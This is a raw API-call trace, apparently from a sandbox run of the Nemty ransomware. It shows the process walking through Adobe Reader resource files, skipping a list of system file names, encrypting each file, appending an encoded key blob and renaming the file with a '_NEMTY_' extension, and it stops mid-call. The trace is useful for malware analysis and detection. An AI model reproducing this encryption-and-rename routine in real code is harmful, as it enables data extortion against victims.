RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.886] GetLastError () returned 0x0 [0215.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.887] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.887] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.887] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.887] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="kBrRmp/B7hb7qUwNouUNAc1OlzNCfRljVRtcuGitYJJP5z0GRQgWyFwdrzluRu/t\r\nhsMnChKddyk+NtoQq9TWgP5lZRqCTKnpoRLT/zdICqxTyUGTfQCVWBJUejWVOUfC\r\nHd6RyfyckPJYOnyDYk8Xb/fUfL4p63Dou9aQJrv4aMsubmE1buSrLwp0WNu/0IjY\r\n/PJugep+ummmTXTBelns5xGNqDWrSUw3HYxhI4cI3Yb0FHWdTGRfWGnU9kJMY2Sl\r\nS+niMmGxhMRf/n22BKU+UXb5TdAIg6acLViR9o2ex7o4Ggl4/eMb2AfMDBbRqM8r\r\nICwLoiDgGHxgJentM0dygQ==\r\n", pcchString=0x653e5dc) returned 1 [0215.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.887] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.887] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28296) returned 1 [0215.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e80) returned 0x6352c48 [0215.888] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.888] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e80, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e80, lpOverlapped=0x0) returned 1 [0215.891] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.891] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e80, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e80, lpOverlapped=0x0) returned 1 [0215.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.891] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e88 [0215.891] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.891] CloseHandle (hObject=0x2e8) returned 1 [0215.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.892] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it.txt._nemty_kgobjgd_")) returned 1 [0215.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.893] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e8e, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.it_IT_PREEURO.txt", cAlternateFileName="DI988F~1.TXT")) returned 1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2=".") returned 1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="..") returned 1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="...") returned 1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="windows") returned -1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="rsa") returned -1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="NTDETECT.COM") returned -1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="ntldr") returned -1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="MSDOS.SYS") returned -1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="IO.SYS") returned -1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="boot.ini") returned 1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="boot.ini") returned 1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="ntuser.dat") returned -1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="desktop.ini") returned 1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="CONFIG.SYS") returned 1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="RECYCLER") returned -1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="bootmgr") returned 1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="programdata") returned -1 [0215.893] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT_PREEURO.txt", lpString2="appdata") returned 1 [0215.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340130 [0215.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it_IT_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340188 [0215.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it_IT_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0215.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340130 [0215.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it_IT_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340130 [0215.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0215.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it_IT_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340130 [0215.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340228 [0215.894] Sleep (dwMilliseconds=0x5) [0215.902] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34533950, dwHighDateTime=0x1d561e8)) [0215.902] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34533950, dwHighDateTime=0x1d561e8)) [0215.902] GetLastError () returned 0x0 [0215.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.902] GetLastError () returned 0x0 [0215.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.902] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.902] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.902] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.902] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="ULXLamHTr1bMtZhfbLCBKCBkyuF1NhynW9pUklvE/7ztGPFCPOdVHSlJkE/1qGQ4\r\ngNOseyfvKIzGRNyH4D+fE1iQ1Az5K47RhlYfVHbQcgQhU6uDApu0S3DCI75P0nC4\r\nhH6VoreQ+mIjn26FgDqiwpuuAmb/6iNDoCBrFnT8JamBa0XW3Zc2d/APzNbPXT95\r\nqsAc7hv5Frr1vdNxVJwLHkJvokxSsoQ6yy355qUM7HhUoqOZwCVuDmFb+mWHsFUs\r\nSoPfUeHv/4VKd8UcmwfJPYo3hNyepU3tm2eNiDWtiBLSPx318umaLj5DCsvuh1q9\r\nDG9Q9VmIYb2U8166toq5Eg==\r\n", pcchString=0x653e5dc) returned 1 [0215.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.902] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.903] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28302) returned 1 [0215.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e80) returned 0x6352c48 [0215.903] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.903] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e80, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e80, lpOverlapped=0x0) returned 1 [0215.906] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.906] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e80, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e80, lpOverlapped=0x0) returned 1 [0215.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.907] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28302, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e8e [0215.907] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.907] CloseHandle (hObject=0x2e8) returned 1 [0215.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340320 [0215.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340418 [0215.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63491c8 [0215.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0215.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.907] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it_preeuro.txt._nemty_kgobjgd_")) returned 1 [0215.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63491c8 | out: hHeap=0x4f90000) returned 1 [0215.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340320 | out: hHeap=0x4f90000) returned 1 [0215.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340228 | out: hHeap=0x4f90000) returned 1 [0215.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0215.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.908] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x656a, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ja.txt", cAlternateFileName="DI0CF7~1.TXT")) returned 1 [0215.908] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2=".") returned 1 [0215.908] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="..") returned 1 [0215.908] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="...") returned 1 [0215.908] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="windows") returned -1 [0215.908] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.908] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="rsa") returned -1 [0215.908] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="NTDETECT.COM") returned -1 [0215.908] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="ntldr") returned -1 [0215.908] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="MSDOS.SYS") returned -1 [0215.908] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="IO.SYS") returned -1 [0215.908] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="boot.ini") returned 1 [0215.908] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="boot.ini") returned 1 [0215.908] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.908] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="ntuser.dat") returned -1 [0215.908] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="desktop.ini") returned 1 [0215.908] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="CONFIG.SYS") returned 1 [0215.908] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="RECYCLER") returned -1 [0215.909] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.909] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="bootmgr") returned 1 [0215.909] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="programdata") returned -1 [0215.909] lstrcmpiW (lpString1="DisplayLanguageNames.ja.txt", lpString2="appdata") returned 1 [0215.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 